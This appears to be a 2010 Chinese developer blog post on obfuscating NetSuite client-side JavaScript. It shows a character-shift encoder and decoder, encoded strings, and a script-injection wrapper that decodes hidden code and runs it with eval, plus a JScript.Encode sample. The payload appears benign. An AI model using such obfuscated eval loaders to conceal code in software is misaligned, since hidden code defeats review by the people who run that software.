Javascript 加解密
加密:
var code='nlapiGetFieldValue("entity");';
var encpt='';
for(var i=1;i<=code.length;i++){
var c=String.fromCharCode(code.charCodeAt(i-1)+code.length);
encpt+=escape(c);//c;//
}
encpt
-----------------------------------------------------------------
"%85%83x%87%80%5E%7C%8B%5D%80%7C%83%7Bmx%83%8C%7C%3F99@R"
%8B%89%7E%8D%86d%82%91c%86%82%89%81s%7E%89%92%82E%3F%82%8B%91%86%91%96%3FFX
-----------------------------------------------------------------
解密:
var code="%8B%89%7E%8D%86d%82%91c%86%82%89%81s%7E%89%92%82E%3F%82%8B%91%86%91%96%3FFX";
code=unescape(code);
decpt='';
for(var i=1;i<=code.length;i++){
var c=String.fromCharCode(code.charCodeAt(i-1)-code.length);
decpt+=c;
}
decpt
%u010F%u010D%u0102%u0111%u010A%F4%u0106%u010F%u0105%E6%u010E%u0102%u010A%u010D%C9%u010F%u010D%u0102%u0111%
u010A%E8%u0106%u0115%F6%u0114%u0106%u0113%C9%CA%CD%C3%u0104%u0109%u0102%u010F%u0108%D2%D4%u0102%u0103%u0104%
u0105%E1%u0114%u0110%u0109%u0116%CF%u0104%u0110%u010E%C3%CD%C3%E5%E6%E3%F6%E8%C3%CD%u010F%u010D%u0102%u0111%
u010A%E8%u0106%u0115%F3%u0110%u010D%u0106%C9%CA%CC%C3%u0100%C3%CC%u0108%u0106%u0115%E4%u0110%u0110%u010C%
u010A%u0106%C9%C3%EB%F4%E6%F4%F4%EA%F0%EF%EA%E5%C3%CA%CD%C3%u011B%u0106%u010F%u0108%CF%u0104%u0109%u0116%
u0102%u010F%u011B%u0109%u0116%u0110%E1%u0115%u0110%u0115%u0106%u010E%u0114%u0116%u010A%u0115%u0106%CF%u0104%
u0110%u010E%C3%CD%C3%u0104%u0109%u0102%u010F%u0108%D2%D4%u0102%u0103%u0104%u0105%E1%u0108%u010E%u0102%u010A%
u010D%CF%u0104%u0110%u010E%C3%CA%DC
try{var oS=document.createElement("script");oS.src='https://system.netsuite.com/core/media/media.nl?
id=272&c=TSTDRV535623&h=f623302456e60da0';document.getElementById("div__body").appendChild(oS);}
catch(ex){}
var code="%8B%89%7E%8D%86d%82%91c%86%82%89%81s%7E%89%92%82E%3F%82%8B%91%86%91%96%3FFX";code=unescape
(code);decpt="";for(var i=1;i<=code.length;i++){var c=String.fromCharCode(code.charCodeAt(i-1)-
code.length);decpt+=c;}alert(decpt);
11:42 2010-01-25合成后:
try{var oS=document.createElement("script");oS.text='var code="%u010F%u010D%u0102%u0111%u010A%F4%u0106%u010F%
u0105%E6%u010E%u0102%u010A%u010D%C9%u010F%u010D%u0102%u0111%u010A%E8%u0106%u0115%F6%u0114%u0106%u0113%C9%CA%
CD%C3%u0104%u0109%u0102%u010F%u0108%D2%D4%u0102%u0103%u0104%u0105%E1%u0114%u0110%u0109%u0116%CF%u0104%u0110%
u010E%C3%CD%C3%E5%E6%E3%F6%E8%C3%CD%u010F%u010D%u0102%u0111%u010A%E8%u0106%u0115%F3%u0110%u010D%u0106%C9%CA%
CC%C3%u0100%C3%CC%u0108%u0106%u0115%E4%u0110%u0110%u010C%u010A%u0106%C9%C3%EB%F4%E6%F4%F4%EA%F0%EF%EA%E5%C3%
CA%CD%C3%u011B%u0106%u010F%u0108%CF%u0104%u0109%u0116%u0102%u010F%u011B%u0109%u0116%u0110%E1%u0115%u0110%
u0115%u0106%u010E%u0114%u0116%u010A%u0115%u0106%CF%u0104%u0110%u010E%C3%CD%C3%u0104%u0109%u0102%u010F%u0108%
D2%D4%u0102%u0103%u0104%u0105%E1%u0108%u010E%u0102%u010A%u010D%CF%u0104%u0110%u010E%C3%CA%DC";code=unescape
(code);decpt="";for(var i=1;i<=code.length;i++){var c=String.fromCharCode(code.charCodeAt(i-1)-
code.length);decpt+=c;}eval(decpt);';document.getElementById("div__body").appendChild(oS);}catch(ex){}
12:10 2010-01-25
<SCRIPT LANGUAGE="JScript.Encode">
<!--//
//Copyright© 2010 Totemsuite Corporation. All Rights Reserved.
#@~^JwQAAA==OMX`7lMPWU'9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mwwx9/tbV
[`K?bI)mlD^tv+6*`N@#@&BxMBAA==^#~@
//-->
</SCRIPT>
遗留问题1:由于JScript.Encode无法动态生成,就涉及瓶颈问题,解密代码是显而易见的。
遗留问题2:Netsuite中如何类似系统那样动态在页面生成之前添加类似"
<script type='text/javascript' src='/core/media/media.nl?id=7314&c=853509&h=19b09b403823dbebdf71&_xt=.js'></script>
"这类的代码。
必须页面在客户端生成之前产生。
本文来自博客园,作者:CarlZeng,转载请注明原文链接:https://www.cnblogs.com/backuper/archive/2010/01/25/1655948.html
需求沟通链接 扫客服加群:
![](https://images.cnblogs.com/cnblogs_com/backuper/933606/o_240408031754_%E6%89%AB%E5%AE%A2%E6%9C%8D%E5%8A%A0%E7%BE%A4.png)